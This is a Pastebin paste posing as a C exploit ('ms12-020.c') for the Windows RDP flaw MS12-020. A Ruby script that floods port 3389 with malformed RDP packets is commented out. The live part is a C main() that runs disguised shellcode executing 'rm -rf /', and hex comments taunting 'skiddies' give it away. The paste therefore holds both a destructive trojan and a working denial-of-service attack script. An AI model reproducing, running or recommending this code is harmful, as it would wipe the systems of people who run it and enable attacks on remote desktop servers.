Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ## ms12-020.c
- # change offset in main before compiling
- # 64bit shellcode available soon
- /*
- require 'socket'
- def send_tpkt(sd, data)
- sd.write(make_tpkt(data))
- end
- def make_tpkt(data)
- [
- 3, # version
- 0, # reserved
- 4 + data.length
- ].pack('CCn') + data
- end
- def make_x224(data)
- [ data.length ].pack('C') + data
- end
- def make_rdp(type, flags, data)
- [ type, flags, 4 + data.length ].pack('CCv') + data
- end
- host = ARGV.shift
- sd = TCPSocket.new(host, 3389)
- pkts1 = []
- # craft connection request
- rdp = make_rdp(1, 0, [ 0 ].pack('V'))
- x224_1 = make_x224([
- 0xe0, # Connection request
- 0, # ??
- 0, # SRC-REF
- 0 # Class : Class 0
- ].pack('CnnC') + rdp)
- pkts1 << make_tpkt(x224_1)
- # craft connect-initial
- x224_2 = make_x224([
- 0xf0, # Data / Class 0
- 0x80 # EOT: True / NR: 0
- ].pack('CC'))
- # mcsCi
- target_params = ""+
- #"\x02\x01\x00"+ # maxChannelIds
- "\x02\x01\x22"+ # maxChannelIds
- "\x02\x01\x0a"+ # maxUserIds
- "\x02\x01\x00"+ # maxTokenIds
- "\x02\x01\x01"+ # numPriorities
- "\x02\x01\x00"+ # minThroughput
- "\x02\x01\x01"+ # maxHeight
- "\x02\x02\xff\xff"+ # maxMCSPDUSize
- "\x02\x01\x02" # protocolVersion
- min_params = ""+
- "\x02\x01\x01"+ # maxChannelIds
- "\x02\x01\x01"+ # maxUserIds
- "\x02\x01\x01"+ # maxTokenIds
- "\x02\x01\x01"+ # numPriorities
- "\x02\x01\x00"+ # minThroughput
- "\x02\x01\x01"+ # maxHeight
- "\x02\x02\x04\x20"+ # maxMCSPDUSize
- "\x02\x01\x02" # protocolVersion
- max_params = ""+
- "\x02\x02\xff\xff"+ # maxChannelIds
- "\x02\x02\xfc\x17"+ # maxUserIds
- "\x02\x02\xff\xff"+ # maxTokenIds
- "\x02\x01\x01"+ # numPriorities
- "\x02\x01\x00"+ # minThroughput
- "\x02\x01\x01"+ # maxHeight
- "\x02\x02\xff\xff"+ # maxMCSPDUSize
- "\x02\x01\x02" # protocolVersion
- userdata = ""+
- # gccCCrq
- "\x00\x05\x00\x14"+
- "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
- # clientCoreData
- "\x01\xc0"+"\xd8\x00"+ # header (type, len)
- "\x04\x00"+"\x08\x00"+ # version
- "\x80\x02"+ # desktop width
- "\xe0\x01"+ # desktop height
- "\x01\xca"+ # color depth
- "\x03\xaa"+ # SASSequence
- "\x09\x04\x00\x00" + # keyboard layout
- "\xce\x0e\x00\x00" + # client build number
- # client name
- "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x04\x00\x00\x00"+ # keyboard type
- "\x00\x00\x00\x00"+ # kbd subType
- "\x0c\x00\x00\x00"+ # kbd FuncKey
- # imeFileName
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x01\xca"+ # postBeta2ColorDepth
- "\x01\x00"+ # clientProductId
- "\x00\x00\x00\x00" + # serialNumber
- "\x10\x00"+ # highColorDepth
- "\x07\x00"+ # supportedColorDepths
- "\x01\x00"+ # earlyCapabilityFlags
- # clientDigProductId -poc has: "00000-000-0000000-00000"
- "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
- "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
- "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
- "\x00"+ # connectionType
- "\x00"+ # pad1octet
- "\x00\x00\x00\x00"+ # serverSelectedProtocol
- "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
- "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
- "\x00\x00\x00\x00"+ # reserved
- # clientSecurityData
- "\x02\xc0"+"\x0c\x00"+ # header (type, len)
- "\x1b\x00\x00\x00"+ # encryptionMethods
- "\x00\x00\x00\x00"+ # extEncryptionMethods
- # clientNetworkData
- "\x03\xc0"+"\x2c\x00"+ # header (type, len)
- "\x03\x00\x00\x00"+ # channel count!
- # channel 0
- "rdpdr\x00\x00\x00"+ # name
- "\x00\x00\x80\x80"+ # options
- # channel 1
- "cliprdr\x00"+ # name
- "\x00\x00\xa0\xc0"+ # options
- # channel 2
- "rdpsnd\x00\x00"+ # name
- "\x00\x00\x00\xc0" # options
- # clientClusterData (not present)
- # clientMonitorData (not present)
- mcs_data = ""+
- "\x04\x01\x01"+ # callingDomainSelector
- "\x04\x01\x01"+ # calledDomainSelector
- "\x01\x01\xff"+ # upwardFlag
- "\x30" + [ target_params.length ].pack('C') + target_params +
- "\x30\x41\x41" + [ min_params.length ].pack('C') + min_params +
- "\x30" + [ max_params.length ].pack('C') + max_params +
- # userData
- "\x04\x82" + [ userdata.length ].pack('n') + userdata
- mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length
- mcs << mcs_data
- pkts1 << make_tpkt(x224_2 + mcs)
- # send a special one?
- #pkts1 << &nerf <<*zarfoo << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
- # send more pkts! - based on poc
- 8.times {
- pkts1 << make_tpkt(x224_2 + "\x28")
- }
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
- pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
- #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")
- pkts1 << make_tpkt(x224_2 + "\x21\x80")
- bigpkt = pkts1.join('')
- 20.times { |x|
- puts "[*] Sending #{x + 1} ..."
- sd.write(bigpkt)
- send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
- #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
- #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
- #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
- # read connect-initial response
- buf = sd.recv(1500)
- # XXX: TODO: check response =)
- #puts buf
- }
- sd.close
- */
- #\x64\x69\x65\x20\x73\x6b\x69\x64\x64\x69\x65\x20\x73\x63\x75\x6d
- #\x65\x6e\x6a\x6f\x79\x20\x79\x6f\x75\x72\x20\x72\x6d
- main()
- {
- char shellcode[] =
- "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89"
- "\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68"
- "\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80";
- (*(void (*)()) shellcode)();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement